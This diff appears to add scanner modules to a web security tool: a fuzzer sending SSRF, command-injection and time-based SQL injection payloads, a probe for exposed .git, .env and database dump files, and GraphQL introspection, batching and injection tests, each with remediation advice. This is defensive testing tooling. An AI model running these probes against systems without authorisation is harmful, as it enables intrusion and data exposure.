+            self.log("CRITICAL", f"[Fuzzer] SSRF INDICATOR! Vector: {vector_desc} | Payload: {payload[:60]}")
+            self.add_vuln(
+                title="Server-Side Request Forgery (SSRF)",
+                severity="Critical", category="Injection", cvss_score=9.1,
+                description=(
+                    f"A potential SSRF vulnerability was detected on {vector_desc}.\n"
+                    f"Payload: `{payload}`\n"
+                    f"The server response contained internal network or metadata indicators, "
+                    f"suggesting the application fetched attacker-controlled URLs server-side.\n\n"
+                    f"Impact: Access to internal services, cloud metadata theft, and lateral movement."
+                ),
+                remediation=(
+                    "1. Block requests to private IP ranges and link-local addresses.\n"
+                    "2. Use an allowlist of permitted outbound domains.\n"
+                    "3. Disable URL fetching features or proxy through a hardened egress gateway."
+                ),
+            )
+            return True
+        return False
+
+    def _check_cmd_injection(self, body, payload, vector_desc):
+        cmd_indicators = ["uid=", "gid=", "groups=", "[boot loader]", "root:", "www-data"]
+        if any(ind in body for ind in cmd_indicators):
+            self.log("CRITICAL", f"[Fuzzer] COMMAND INJECTION! Vector: {vector_desc} | Payload: {payload[:60]}")
+            self.add_vuln(
+                title="OS Command Injection",
+                severity="Critical", category="Injection", cvss_score=9.8,
+                description=(
+                    f"A command injection vulnerability was detected on {vector_desc}.\n"
+                    f"Payload: `{payload}`\n"
+                    f"The response contained OS-level output, indicating shell command execution.\n\n"
+                    f"Impact: Full server compromise via arbitrary command execution."
+                ),
+                remediation=(
+                    "1. Never pass user input to shell interpreters.\n"
+                    "2. Use language-native APIs instead of os.system/subprocess with user data.\n"
+                    "3. Apply strict input validation and run processes with least privilege."
+                ),
+            )
+            return True
+        return False
+
+    def _check_time_based_sqli(self, url, param_name, method='GET', form_inputs=None):
+        for payload in TIME_BASED_SQLI[:3]:
+            try:
+                start = time.time()
+                if method.upper() == 'GET':
+                    parsed = urllib.parse.urlparse(url)
+                    params = urllib.parse.parse_qs(parsed.query)
+                    test_params = {k: v[0] for k, v in params.items()}
+                    test_params[param_name] = payload
+                    test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
+                    self._get(test_url, timeout=12)
+                else:
+                    data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
+                    data[param_name] = payload
+                    self._post(url, data, timeout=12)
+                elapsed = time.time() - start
+                if elapsed >= 4.5:
+                    vector_desc = f"{method} {url} → parameter '{param_name}'"
+                    self._sqli_found += 1
+                    self.log("CRITICAL", f"[Fuzzer] TIME-BASED SQLi! Vector: {vector_desc} ({elapsed:.1f}s delay)")
+                    self.add_vuln(
+                        title="SQL Injection — Time-Based Blind",
+                        severity="Critical", category="Injection", cvss_score=9.8,
+                        description=(
+                            f"A time-based blind SQL injection was detected on {vector_desc}.\n"
+                            f"Payload: `{payload}` caused a {elapsed:.1f}s response delay.\n\n"
+                            f"Impact: Attackers can exfiltrate data bit-by-bit using timing side-channels."
+                        ),
+                        remediation=(
+                            "1. Use parameterised queries exclusively.\n"
+                            "2. Set aggressive query timeouts at the database layer.\n"
+                            "3. Deploy WAF rules for sleep/waitfor/benchmark patterns."
+                        ),
+                    )
+                    return True
+            except Exception as e:
+                self.log("ERROR", f"[Fuzzer] _check_time_based_sqli error: {e}")
+                continue
+        return False
+
+    def _fuzzer_req(self, url, params, headers=None):
+        data = urllib.parse.urlencode(params).encode("utf-8") if params else None
+        merged = {"Content-Type": "application/x-www-form-urlencoded"}
+        if headers:
+            merged.update(headers)
+        body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
+        return body or "", status
+
+    def _context_fuzz(self):
+        crawl_results = self.discovery_context or {"forms": [], "urls": []}
+        all_params = {}
+        for form in crawl_results.get("forms", []):
+            for inp in form.get("inputs", []):
+                if inp.get("type") != "hidden":
+                    all_params[inp["name"]] = inp.get("value", "test")
+        for url_entry in crawl_results.get("urls", []):
+            url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
+            parsed = urllib.parse.urlparse(url)
+            qs_params = urllib.parse.parse_qs(parsed.query)
+            for k, v in qs_params.items():
+                if k not in all_params:
+                    all_params[k] = v[0] if v else "test"
+
+        if not all_params:
+            self.log("INFO", "[Fuzzer] No parameters discovered for context-aware fuzzing")
+            return
+
+        self.log("INFO", f"[Fuzzer] Context-aware fuzzing {len(all_params)} parameter(s) with {sum(len(v) for v in TYPE_MUTATIONS.values())} mutation(s)")
+        self._fuzzer.fuzz(self.target, all_params)
+        baseline_body, _ = self._make_request(self.target, timeout=8)
+        baseline_length = len(baseline_body or "")
+        anomalies = self._fuzzer.anomalies(baseline_length)
+        for anom in anomalies:
+            self.log("WARNING", f"[Fuzzer] Context-aware anomaly — {anom['param']} ({anom['type']}) mutation={anom['mutation']} status={anom['status']} length={anom['length']}")
+            self.add_vuln(
+                title=f"Context-Aware Fuzzer: Anomalous '{anom['param']}' ({anom['mutation']})",
+                severity="Medium",
+                category="Injection",
+                cvss_score=6.5,
+                description=(
+                    f"Parameter '{anom['param']}' (classified as '{anom['type']}') "
+                    f"returned an anomalous response when mutated with '{anom['mutation']}' "
+                    f"(value: {anom['value']}). "
+                    f"HTTP {anom['status']}, response length {anom['length']} bytes."
+                ),
+                remediation="Validate and sanitize all input parameters server-side. Use parameterized queries, input type enforcement, and context-aware output encoding.",
+                cwe_ids=["CWE-20"],
+                owasp_category="A03:2021 – Injection",
+            )
+
+    def _fuzz_red_team_params(self, url, params, method='GET', form_inputs=None):
+        ssrf_params = {"url", "redirect", "next", "return", "ref", "callback", "dest", "target", "uri", "path", "file"}
+        cmd_params = {"cmd", "command", "exec", "run", "ping", "host", "ip", "query"}
+
+        for param_name in params:
+            vector_base = f"{method} {url} → parameter '{param_name}'"
+            if param_name.lower() in ssrf_params:
+                for payload in SSRF_PAYLOADS:
+                    self._tested_vectors += 1
+                    if method.upper() == 'GET':
+                        parsed = urllib.parse.urlparse(url)
+                        test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
+                        test_params[param_name] = payload
+                        test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
+                        body, _ = self._get(test_url)
+                    else:
+                        data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
+                        data[param_name] = payload
+                        body, _ = self._post(url, data)
+                    if body and self._check_ssrf(body, payload, vector_base):
+                        break
+
+            if param_name.lower() in cmd_params:
+                for payload in CMD_INJECTION_PAYLOADS[:3]:
+                    self._tested_vectors += 1
+                    if method.upper() == 'GET':
+                        parsed = urllib.parse.urlparse(url)
+                        test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
+                        test_params[param_name] = payload
+                        test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
+                        body, _ = self._get(test_url)
+                    else:
+                        data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
+                        data[param_name] = payload
+                        body, _ = self._post(url, data)
+                    if body and self._check_cmd_injection(body, payload, vector_base):
+                        break
+
+            if self.red_team:
+                self._check_time_based_sqli(url, param_name, method, form_inputs)
+            else:
+                # Always do time-based on SSRF/cmd-named params too
+                self._check_time_based_sqli(url, param_name, method, form_inputs)
+
+    # ── Common Parameter Probing ──────────────────────────────────────
+    def _probe_common_params(self):
+        """Inject into common query parameter names even if not found in HTML."""
+        common_params = ["id", "q", "search", "query", "page", "name", "user",
+                         "email", "redirect", "url", "next", "return", "ref",
+                         "callback", "cat", "category", "item", "product"]
+
+        base = self.target.rstrip("/")
+        self.log("INFO", f"[Fuzzer] Probing {len(common_params)} common parameters for blind injection...")
+
+        for param in common_params:
+            # Quick SQLi probe
+            for payload in SQLI_PAYLOADS[:3]:
+                self._tested_vectors += 1
+                test_url = f"{base}?{param}={urllib.parse.quote(payload)}"
+                body, status = self._get(test_url, timeout=5)
+                if body and self._check_sqli(body, payload, f"Param probe ?{param}="):
+                    break
+
+            # Quick XSS probe
+            probe_payload = '<script>alert(1)</script>'
+            self._tested_vectors += 1
+            test_url = f"{base}?{param}={urllib.parse.quote(probe_payload)}"
+            body, status = self._get(test_url, timeout=5)
+            if body:
+                self._check_xss(body, probe_payload, f"Param probe ?{param}=")
+
+            if self.red_team:
+                self._fuzz_red_team_params(
+                    f"{base}?{param}=test",
+                    {param: ["test"]},
+                    'GET'
+                )
+
+    # ── Main Entry Point ──────────────────────────────────────────────
+    def run(self):
+        self.log("INFO", f"[Fuzzer] Starting recursive XSS & SQLi fuzzing on {self.target}...")
+        mode = "RED-TEAM" if self.red_team else "STANDARD"
+        self.log("INFO",
+                 f"[Fuzzer] Mode: {mode} | {len(SQLI_PAYLOADS)} SQLi + {len(XSS_PAYLOADS)} XSS payloads | "
+                 f"crawl depth: {self.max_depth}")
+
+        crawl_results = self.discovery_context or {"forms": [], "urls": []}
+
+        try:
+            # Step 2: Fuzz all discovered forms
+            for form in crawl_results["forms"]:
+                self._fuzz_form(form, form["url"])
+                if self.red_team and form["inputs"]:
+                    param_names = [i["name"] for i in form["inputs"] if i["type"] != "hidden"]
+                    if param_names:
+                        self._fuzz_red_team_params(
+                            form["action"], param_names, form["method"], form["inputs"]
+                        )
+
+            # Step 3: Fuzz all discovered URLs (parameters)
+            for url_entry in crawl_results["urls"]:
+                self._fuzz_url_params(url_entry["url"])
+                if self.red_team:
+                    parsed = urllib.parse.urlparse(url_entry["url"])
+                    params = urllib.parse.parse_qs(parsed.query)
+                    if params:
+                        self._fuzz_red_team_params(url_entry["url"], params)
+
+        except Exception as e:
+            self.log("WARNING", f"[Fuzzer] Unexpected error during scan: {str(e)}")
+
+        # Step 4: Probe common parameter names on the base target URL
+        self._probe_common_params()
+
+        # Step 5: Context-aware fuzzing
+        self._context_fuzz()
+
+        # Summary
+        self.log("SUCCESS" if not self.vulns else "WARNING",
+                 f"[Fuzzer] Complete — {self._tested_vectors} vectors tested | "
+                 f"{self._sqli_found} SQLi | {self._xss_found} XSS confirmed")
+        return self.vulns
+
+if __name__ == "__main__":
+    from scanners.fuzzer_scanner import FuzzerScanner
+    
+    print("=== Running direct test of FuzzerScanner ===")
+    scanner = FuzzerScanner(
+        scan_id="direct-test-fuzzer",
+        target="http://httpbin.org",
+        domain="httpbin.org",
+        max_depth=1
+    )
+    
+    # Custom logger for console output
+    def console_log(level, msg):
+        print(f"[{level}] {msg}")
+    scanner.log = console_log
+    
+    findings = scanner.run()
+    print("\n=== Scan Complete ===")
+    print(f"Vulnerabilities found: {len(findings)}")
+    for vuln in findings:
+        print(f" - [{vuln['severity']}] {vuln['title']}")

backend/scanners/git_exposure_scanner.py

@@ -0,0 +1,132 @@
+"""
+git_exposure_scanner.py — Git Repository Exposure Scanner
+==========================================================
+Checks for publicly accessible .git directories and version control artifacts
+that could expose source code, commit history, credentials, and configuration.
+
+Checks:
+  - .git/HEAD, .git/config, .git/COMMIT_EDITMSG, .git/index
+  - .gitignore, .gitmodules, .gitattributes
+  - Common VCS metadata files (SVN, Mercurial)
+  - Source code backup files
+  - CI/CD configuration leaks
+"""
+import re, urllib.request, urllib.error
+from scanners.base_scanner import BaseScanner
+from scanners.core.signatures import matches_signature
+
+# Format: (path, expected_content_regex, display_name, severity, cvss)
+GIT_PROBES = [
+    ("/.git/HEAD",          r"ref:\s*refs/heads/",   "Git HEAD reference",         "Critical", 9.8),
+    ("/.git/config",        r"\[core\]|\[remote",    "Git repository config",      "Critical", 9.8),
+    ("/.git/COMMIT_EDITMSG",r".*",                   "Git commit message",         "High",     8.5),
+    ("/.git/index",         r"DIRC",                 "Git index (binary)",         "Critical", 9.8),
+    ("/.git/FETCH_HEAD",    r".*",                   "Git FETCH_HEAD",             "High",     8.0),
+    ("/.git/packed-refs",   r"refs/",                "Git packed refs",            "High",     8.0),
+    ("/.git/logs/HEAD",     r"commit|checkout",      "Git reflog",                 "High",     8.0),
+    ("/.gitignore",         r".*",                   ".gitignore file",            "Medium",   5.3),
+    ("/.gitmodules",        r"\[submodule",          ".gitmodules (submodule list)","High",    7.5),
+    ("/.gitattributes",     r".*",                   ".gitattributes",             "Low",      3.1),
+    # SVN
+    ("/.svn/entries",       r"https?://|svn://",     "SVN entries file",           "High",     8.0),
+    ("/.svn/wc.db",         r"SQLite",               "SVN working copy DB",        "Critical", 9.0),
+    # Mercurial
+    ("/.hg/hgrc",           r"\[paths\]",            "Mercurial config",           "High",     8.0),
+    # CI / CD secrets
+    ("/.travis.yml",        r"language:|script:",    "Travis CI config",           "Medium",   5.3),
+    ("/.env",               r"[A-Z_]+=",             ".env file (env variables)",  "Critical", 9.9),
+    ("/.env.local",         r"[A-Z_]+=",             ".env.local file",            "Critical", 9.9),
+    ("/.env.production",    r"[A-Z_]+=",             ".env.production file",       "Critical", 9.9),
+    ("/Dockerfile",         r"FROM |RUN |CMD ",      "Dockerfile exposed",         "Medium",   5.3),
+    ("/docker-compose.yml", r"services:|version:",   "docker-compose config",      "Medium",   5.8),
+    ("/Jenkinsfile",        r"pipeline|stage",       "Jenkinsfile exposed",        "Medium",   5.3),
+    ("/.github/workflows/", r"on:|jobs:",            "GitHub Actions workflows",   "Low",      3.5),
+    # Backup / source files
+    ("/backup.sql",         r"INSERT INTO|CREATE TABLE","SQL dump exposed",        "Critical", 9.9),
+    ("/dump.sql",           r"INSERT INTO|CREATE TABLE","SQL dump exposed",        "Critical", 9.9),
+    ("/config.php.bak",     r".*",                   "PHP config backup",          "High",     8.5),
+    ("/wp-config.php.bak",  r".*",                   "WordPress config backup",    "Critical", 9.8),
+]
+
+
+class GitExposureScanner(BaseScanner):
+    SCANNER_NAME = "Git / VCS Exposure Scanner"
+    _SCANNER_KEY = "git_exposure"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO",
+            f"[GitExposure] Probing {len(GIT_PROBES)} VCS/backup paths on {self.target}...")
+
+        base = self.target.rstrip("/")
+        found = 0
+
+        for path, pattern, display, severity, cvss in GIT_PROBES:
+            url  = f"{base}{path}"
+            body, status = self._probe(url)
+            if body is None:
+                continue
+
+            # PHASE 1: Suppress if response is the site's SPA/404 catch-all
+            if self._is_baseline(status, body):
+                self.log("INFO", f"[GitExposure] SUPPRESSED (baseline match): {url}")
+                continue
+
+            if status == 200 and re.search(pattern, body, re.S | re.I):
+                found += 1
+                self.log("CRITICAL" if severity == "Critical" else "WARNING",
+                    f"[GitExposure] EXPOSED: {display} at {url}")
+                masked = body[:300].replace("\n", " ")
+                self.add_vuln(
+                    title=f"Exposed VCS/Config File: {display}",
+                    severity=severity,
+                    category="Information Disclosure",
+                    cvss_score=cvss,
+                    description=(
+                        f"The file `{url}` is publicly accessible (HTTP 200).\n\n"
+                        f"**Resource type:** {display}\n\n"
+                        f"**Preview (first 300 chars):**\n```\n{masked}\n```\n\n"
+                        "Exposed version control metadata can reveal:\n"
+                        "- Full source code reconstruction from pack files\n"
+                        "- Hardcoded credentials and API keys in commit history\n"
+                        "- Internal infrastructure hostnames and paths\n"
+                        "- Business logic and proprietary algorithms"
+                    ),
+                    remediation=(
+                        f"1. Immediately block access to `{path}` in your web server:\n"
+                        "   Nginx:  location ~ /\\.git { deny all; return 404; }\n"
+                        "   Apache: RedirectMatch 404 /\\.git\n"
+                        "2. Rotate any credentials found in git history immediately.\n"
+                        "3. Use `git filter-branch` or BFG Repo Cleaner to purge secrets.\n"
+                        "4. Add VCS directories to your web server deny rules globally.\n"
+                        "5. Use a WAF rule to block /.git, /.svn, /.env paths."
+                    ),
+                )
+            elif status == 200:
+                self.log("INFO", f"[GitExposure] {url} returned 200 but content mismatch")
+            else:
+                self.log("INFO", f"[GitExposure] {url} -> HTTP {status}")
+
+        if found == 0:
+            self.log("SUCCESS", "[GitExposure] No exposed VCS/backup files detected")
+        else:
+            self.log("WARNING", f"[GitExposure] {found} exposed resource(s) found!")
+
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _probe(self, url: str) -> tuple:
+        try:
+            headers = {"User-Agent": "LarShield/2.0 GitExposure-Probe"}
+            headers.update(self.auth_headers or {})
+            req = urllib.request.Request(url, headers=headers)
+            with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r:
+                return r.read().decode("utf-8", errors="ignore"), r.status
+        except urllib.error.HTTPError as e:
+            return "", e.code
+        except Exception as e:
+            self.log("ERROR", f"[GitExposure] Fetch error: {e}")
+            return None, 0

backend/scanners/graphql_scanner.py

@@ -0,0 +1,589 @@
+"""
+graphql_scanner.py — GraphQL Security Scanner
+==============================================
+Advanced GraphQL vulnerability detection module.
+
+This scanner:
+  1. Identifies GraphQL endpoints
+  2. Performs introspection to discover schema
+  3. Tests for GraphQL-specific vulnerabilities
+  4. Detects information disclosure via introspection
+  5. Tests for query depth limiting and DoS vulnerabilities
+  6. Checks for authorization bypass in GraphQL queries
+  7. Multi-stage detection: probe endpoint, then confirm vulnerabilities
+"""
+import urllib.request, urllib.error, urllib.parse, re, json
+from scanners.base_scanner import BaseScanner
+from utils.fuzzer_engine import ContextAwareFuzzer
+
+GRAPHQL_ENDPOINTS = [
+    "/graphql", "/api/graphql", "/graphiql", "/api/graphiql",
+    "/graphql.php", "/graphql/api", "/v1/graphql", "/v2/graphql",
+    "/gql", "/api/gql", "/query", "/api/query",
+    "/console/graphql", "/graphql/console", "/playground",
+    "/api/v1/graphql", "/api/v2/graphql",
+]
+
+GRAPHQL_INDICATORS = [
+    r"graphql", r"GraphQL", r"query\s+\w+", r"mutation\s+\w+",
+    r"subscription\s+\w+", r"__schema", r"__type", r"__typename",
+]
+
+INTROSPECTION_QUERY = """
+{
+  __schema {
+    queryType { name fields { name type { name kind } } }
+    mutationType { name fields { name type { name kind } } }
+    subscriptionType { name fields { name type { name kind } } }
+    types { name kind description fields { name type { name kind } } }
+  }
+}
+"""
+
+BATCHING_QUERY = """
+[
+  { "query": "{ __typename }" },
+  { "query": "{ __typename }" },
+  { "query": "{ __typename }" },
+  { "query": "{ __typename }" },
+  { "query": "{ __typename }" }
+]
+"""
+
+DEEP_NESTED_QUERY = """
+{
+  __schema {
+    queryType { fields { name type { fields { name type { fields { name type { fields { name type { fields { name } } } } } } } } }
+  }
+}
+"""
+
+ALIAS_QUERY = """
+query {
+  a1: __typename
+  a2: __typename
+  a3: __typename
+  a4: __typename
+  a5: __typename
+  a6: __typename
+  a7: __typename
+  a8: __typename
+  a9: __typename
+  a10: __typename
+}
+"""
+
+SQLI_GQL_QUERY = """
+query {
+  __typename
+  search(query: "' OR '1'='1")
+}
+"""
+
+TEST_QUERIES = {
+    "introspection": INTROSPECTION_QUERY,
+    "basic_query": "{ __typename }",
+    "nested_query": DEEP_NESTED_QUERY,
+    "mutation_test": "mutation { __typename }",
+    "batching": BATCHING_QUERY,
+    "alias_spam": ALIAS_QUERY,
+    "sqli_test": SQLI_GQL_QUERY,
+}
+
+ERROR_PATTERNS = [
+    r"GraphQL error", r"Cannot query field", r"Cannot return null",
+    r"Variable", r"Syntax Error", r"Parse error", r"Validation error",
+]
+
+SQLI_ERROR_PATTERNS = [
+    r"SQL syntax", r"mysql_fetch", r"ORA-[0-9]{5}", r"PostgreSQL",
+    r"SQLite", r"unclosed quotation mark", r"quoted string not properly terminated",
+    r"division by zero", r"syntax error at or near", r"Unclosed",
+]
+
+
+class GraphqlScanner(BaseScanner):
+    SCANNER_NAME = "GraphQL Security Scanner"
+    _SCANNER_KEY = "graphql"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._headers = {
+            "User-Agent": "LarShield/2.0 GraphQL Scanner",
+            "Content-Type": "application/json",
+            "Accept": "application/json",
+        }
+        if self.auth_headers:
+            self._headers.update(self.auth_headers)
+        self._tested_endpoints = 0
+        self._vulns_found = 0
+        self._fuzzer = ContextAwareFuzzer(self._gql_fuzzer_req)
+
+    def _gql_fuzzer_req(self, url, params, headers=None):
+        variables = {}
+        for key, val in params.items():
+            variables[key] = val
+        payload_dict = {"query": "query($vars: JSON!) { __typename }", "variables": variables}
+        encoded = json.dumps(payload_dict).encode("utf-8")
+        merged = {"Content-Type": "application/json"}
+        if headers:
+            merged.update(headers)
+        body, status = self._make_request(url, method="POST", data=encoded, headers=merged, timeout=8)
+        return body or "", status
+
+    def _make_gql_request(self, url, query, variables=None, timeout=8):
+        """Send a GraphQL query and return the response."""
+        payload = {"query": query}
+        if variables:
+            payload["variables"] = variables
+        encoded = json.dumps(payload).encode("utf-8")
+        body, status = self._make_request(
+            url, method="POST", data=encoded,
+            headers=self._headers, timeout=timeout,
+        )
+        return body, status
+
+    def _detect_graphql_endpoint(self, url):
+        """Check if a URL is a GraphQL endpoint."""
+        try:
+            body, status = self._make_request(url)
+            if body:
+                for indicator in GRAPHQL_INDICATORS:
+                    if re.search(indicator, body, re.IGNORECASE):
+                        return True, "GET"
+
+            body, status = self._make_gql_request(url, TEST_QUERIES["basic_query"])
+            if body:
+                try:
+                    response_json = json.loads(body)
+                    if "data" in response_json or "errors" in response_json:
+                        return True, "POST"
+                except json.JSONDecodeError:
+                    pass
+
+                for indicator in GRAPHQL_INDICATORS:
+                    if re.search(indicator, body, re.IGNORECASE):
+                        return True, "POST"
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error detecting endpoint {url}: {e}")
+
+        return False, None
+
+    def _test_introspection(self, url):
+        """Test if introspection is enabled (information disclosure)."""
+        try:
+            body, status = self._make_gql_request(url, TEST_QUERIES["introspection"])
+            if not body:
+                return False
+
+            try:
+                response_json = json.loads(body)
+                if "data" in response_json:
+                    data = response_json["data"]
+                    if "__schema" in data or "__type" in data:
+                        self._vulns_found += 1
+                        self.log("CRITICAL", "[GraphQL] Introspection is ENABLED — Full schema disclosure!")
+
+                        schema = data.get("__schema", {})
+                        types = schema.get("types", [])
+                        query_fields = schema.get("queryType", {}).get("fields", [])
+                        mutation_fields = schema.get("mutationType", {}).get("fields", [])
+
+                        self.log("INFO", f"[GraphQL] Schema contains {len(types)} types, "
+                                         f"{len(query_fields)} query fields, {len(mutation_fields)} mutation fields")
+
+                        self.add_vuln(
+                            title="GraphQL — Introspection Enabled",
+                            severity="High",
+                            category="Information Disclosure",
+                            cvss_score=7.5,
+                            description=(
+                                f"GraphQL introspection is enabled at {url}.\n"
+                                f"Discovered schema contains:\n"
+                                f"- {len(types)} types\n"
+                                f"- {len(query_fields)} query fields\n"
+                                f"- {len(mutation_fields)} mutation fields\n\n"
+                                f"Introspection exposes the entire GraphQL schema, including "
+                                f"all queries, mutations, types, and their relationships. "
+                                f"This information can be used by attackers to craft targeted attacks."
+                            ),
+                            remediation=(
+                                "1. DISABLE introspection in production:\n"
+                                "   - Apollo Server: introspection: false in config\n"
+                                "   - GraphQL Yoga: disableIntrospection: true\n"
+                                "   - Graphene: disable_introspection = True\n"
+                                "2. Use environment-specific configuration\n"
+                                "3. Implement proper authentication and authorization\n"
+                                "4. Monitor for introspection queries in logs"
+                            ),
+                            evidence=json.dumps({k: v for k, v in data.items() if k == "__schema"}, indent=2)[:500],
+                            payload="Introspection query (see evidence)",
+                            request_details=f"URL: {url}",
+                            response_details=f"Schema: {len(types)} types, {len(query_fields)} queries, {len(mutation_fields)} mutations",
+                            confidence="Confirmed",
+                        )
+                        return True
+            except json.JSONDecodeError:
+                pass
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error testing introspection: {e}")
+
+        return False
+
+    def _test_query_depth(self, url):
+        """Test for query depth limiting (DoS prevention)."""
+        try:
+            body, status = self._make_gql_request(url, TEST_QUERIES["nested_query"], timeout=15)
+            if not body:
+                return False
+
+            try:
+                response_json = json.loads(body)
+                if "data" in response_json and response_json["data"]:
+                    self.log("WARNING", "[GraphQL] Query depth limiting may not be configured")
+
+                    self.add_vuln(
+                        title="GraphQL — Missing Query Depth Limiting",
+                        severity="Medium",
+                        category="Denial of Service",
+                        cvss_score=5.3,
+                        description=(
+                            f"GraphQL endpoint at {url} accepted deeply nested queries without depth limiting. "
+                            "This can lead to denial of service attacks through complex nested queries."
+                        ),
+                        remediation=(
+                            "1. IMPLEMENT query depth limiting:\n"
+                            "   - Apollo Server: maxDepth or validation rules\n"
+                            "   - Set reasonable depth limits (e.g., 5-10 levels)\n"
+                            "2. Implement query complexity analysis\n"
+                            "3. Use query whitelisting for production"
+                        ),
+                        evidence="Deeply nested query returned data successfully",
+                        payload=TEST_QUERIES["nested_query"][:200],
+                        request_details=f"URL: {url}",
+                        response_details="Query executed without depth limit enforcement",
+                        confidence="Confirmed",
+                    )
+                    return True
+            except json.JSONDecodeError:
+                pass
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error testing query depth: {e}")
+
+        return False
+
+    def _test_batching_attack(self, url):
+        """Test for batching attack vulnerabilities (batched queries bypassing rate limits)."""
+        try:
+            body, status = self._make_gql_request(
+                url, TEST_QUERIES["batching"],
+                timeout=15,
+            )
+            if not body:
+                return False
+
+            try:
+                response_json = json.loads(body)
+                if isinstance(response_json, list) and len(response_json) >= 5:
+                    self._vulns_found += 1
+                    self.log("WARNING",
+                             f"[GraphQL] Batching is supported — {len(response_json)} batched queries accepted at {url}")
+
+                    self.add_vuln(
+                        title="GraphQL — Batching Attack Possible",
+                        severity="High",
+                        category="Denial of Service",
+                        cvss_score=7.5,
+                        description=(
+                            f"GraphQL endpoint at {url} supports query batching.\n"
+                            f"Accepted {len(response_json)} batched queries in a single request.\n\n"
+                            f"Impact: Attackers can bypass rate limiting by sending multiple "
+                            f"operations in a single request, making brute-force attacks, "
+                            f"enumeration, and DoS more effective."
+                        ),
+                        remediation=(
+                            "1. Implement rate limiting per operation, not per request.\n"
+                            "2. Limit the number of operations allowed per batch request.\n"
+                            "3. Use cost-based analysis to limit batch complexity.\n"
+                            "4. Consider disabling batching if not required."
+                        ),
+                        evidence=f"Batched query returned {len(response_json)} results",
+                        payload="Batched query with 5 operations",
+                        request_details=f"URL: {url}",
+                        response_details=f"{len(response_json)} operations accepted",
+                        confidence="Confirmed",
+                    )
+                    return True
+            except (json.JSONDecodeError, TypeError):
+                pass
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error testing batching attack: {e}")
+
+        return False
+
+    def _test_alias_dos(self, url):
+        """Test for alias-based DoS attacks (many aliases consuming resources)."""
+        try:
+            body, status = self._make_gql_request(url, TEST_QUERIES["alias_spam"], timeout=15)
+            if not body:
+                return False
+
+            try:
+                response_json = json.loads(body)
+                if "data" in response_json:
+                    data = response_json["data"]
+                    alias_count = sum(1 for k in data if k.startswith("a"))
+                    if alias_count >= 8:
+                        self._vulns_found += 1
+                        self.log("WARNING",
+                                 f"[GraphQL] Alias-based DoS possible at {url} — {alias_count} aliases accepted")
+
+                        self.add_vuln(
+                            title="GraphQL — Alias-Based DoS Possible",
+                            severity="Medium",
+                            category="Denial of Service",
+                            cvss_score=5.0,
+                            description=(
+                                f"GraphQL endpoint at {url} accepted {alias_count} aliases in a single query.\n"
+                                f"Attackers can use many aliases to amplify resource consumption.\n\n"
+                                f"Aliases allow the same field to be queried multiple times under different names, "
+                                f"bypassing query depth limits while consuming significant server resources."
+                            ),
+                            remediation=(
+                                "1. Implement query complexity/cost analysis.\n"
+                                "2. Limit the number of aliases allowed per query.\n"
+                                "3. Use rate limiting based on field resolution cost.\n"
+                                "4. Consider using persisted queries in production."
+                            ),
+                            evidence=f"{alias_count} aliases accepted",
+                            payload="Alias-based amplification query",
+                            request_details=f"URL: {url}",
+                            response_details=f"Accepted {alias_count} aliases",
+                            confidence="Confirmed",
+                        )
+                        return True
+            except json.JSONDecodeError:
+                pass
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error testing alias DoS: {e}")
+
+        return False
+
+    def _test_graphql_sqli(self, url):
+        """Test for SQL injection via GraphQL query parameters."""
+        try:
+            sqli_query = TEST_QUERIES["sqli_test"]
+            body, status = self._make_gql_request(url, sqli_query, timeout=15)
+            if not body:
+                return False
+
+            try:
+                response_json = json.loads(body)
+                # Check for SQL errors in response
+                errors = response_json.get("errors", [])
+                error_str = json.dumps(errors)
+                for pattern in SQLI_ERROR_PATTERNS:
+                    if re.search(pattern, error_str, re.IGNORECASE):
+                        self._vulns_found += 1
+                        self.log("CRITICAL",
+                                 f"[GraphQL] SQL Injection via GraphQL at {url}! "
+                                 f"Pattern matched: {pattern}")
+
+                        self.add_vuln(
+                            title="GraphQL — SQL Injection via GraphQL Parameters",
+                            severity="Critical",
+                            category="Injection",
+                            cvss_score=9.8,
+                            description=(
+                                f"A SQL injection vulnerability was detected via GraphQL at {url}.\n"
+                                f"The GraphQL endpoint appears to pass user input directly to SQL queries.\n"
+                                f"Pattern matched: {pattern}\n\n"
+                                f"Impact: Attackers can extract, modify, or delete database contents, "
+                                f"potentially leading to complete database compromise."
+                            ),
+                            remediation=(
+                                "1. Use parameterized queries / prepared statements.\n"
+                                "2. Implement input validation and sanitization.\n"
+                                "3. Use an ORM/ODM with proper injection protections.\n"
+                                "4. Implement least-privilege database access.\n"
+                                "5. Regularly audit and test for injection vulnerabilities."
+                            ),
+                            evidence=f"SQL error pattern matched: {pattern}",
+                            payload=SQLI_GQL_QUERY,
+                            request_details=f"URL: {url}",
+                            response_details=f"Error message: {error_str[:200]}",
+                            confidence="Confirmed" if any(re.search(p, error_str, re.IGNORECASE) for p in SQLI_ERROR_PATTERNS) else "Medium",
+                        )
+                        return True
+            except json.JSONDecodeError:
+                pass
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error testing SQLi: {e}")
+
+        return False
+
+    def _test_graphql_params_fuzz(self, url):
+        try:
+            body, status = self._make_gql_request(url, TEST_QUERIES["introspection"])
+            if not body:
+                return
+            data = json.loads(body)
+            schema = data.get("data", {}).get("__schema", {})
